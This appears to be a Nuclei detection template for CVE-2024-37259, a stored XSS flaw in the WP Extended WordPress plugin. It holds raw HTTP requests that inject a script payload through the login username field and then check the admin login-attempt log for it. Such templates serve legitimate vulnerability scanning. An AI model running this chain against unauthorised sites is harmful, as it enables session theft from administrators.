WP Extended < 3.0.0 - Stored Cross-Site Scripting

id: CVE-2024-37259

info:
  name: WP Extended < 3.0.0 - Stored Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions true behalf of users.
  remediation: |
    Update  to WP Extended 3.0.0 or later.
  reference:
    - https://wpscan.com/vulnerability/2d90ca7d-e957-4ac6-b1f1-2d631bffa2e8/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpextended/the-ultimate-wordpress-toolkit-wp-extended-247-unauthenticated-stored-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset/3099195/wpextended
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37259
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-37259
    epss-score: 0.00213
    epss-percentile: 0.43811
    cwe-id: CWE-79
  metadata:
    verified: true
    vendor: wpextended
    product: wp-extended
    framework: wordpress
  tags: cve,cve2024,wordpress,wp-scan,wp-plugin,wpextended,xss,vkev

flow: http(1) || http(2) && http(3) && http(4)

variables:
  raw_payload: "{{randstr}}<script>alert(document.domain)</script>"

http:
  - raw:
      - |
        GET /wp-content/plugins/wpextended/readme.txt HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 2.4.7')"
          - "contains(body, 'The Ultimate WordPress Toolkit - WP Extended')"
        condition: and

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{url_encode(payload)}}&pwd=wrongpassword&wp-submit=Log+In&redirect_to=&testcookie=1

    attack: batteringram
    payloads:
      payload:
        - "{{raw_payload}}"
        - "{{raw_payload}}"
        - "{{raw_payload}}"
        - "{{raw_payload}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wp-login")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp-extended_login_attempt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "{{raw_payload}}", "wp-extended_login_attempt")'
        condition: and
# digest: 4a0a0047304502204090f9d4bd3c47f0f3b90d2e7f84eda949facfb3d627d575b7298454fce3f54f022100aef22db961b9cf9be0195ec523282f7b7f1c0d6a0c8420c7e7991eaef911cfae:922c64590222798bb761d5b6d8e72950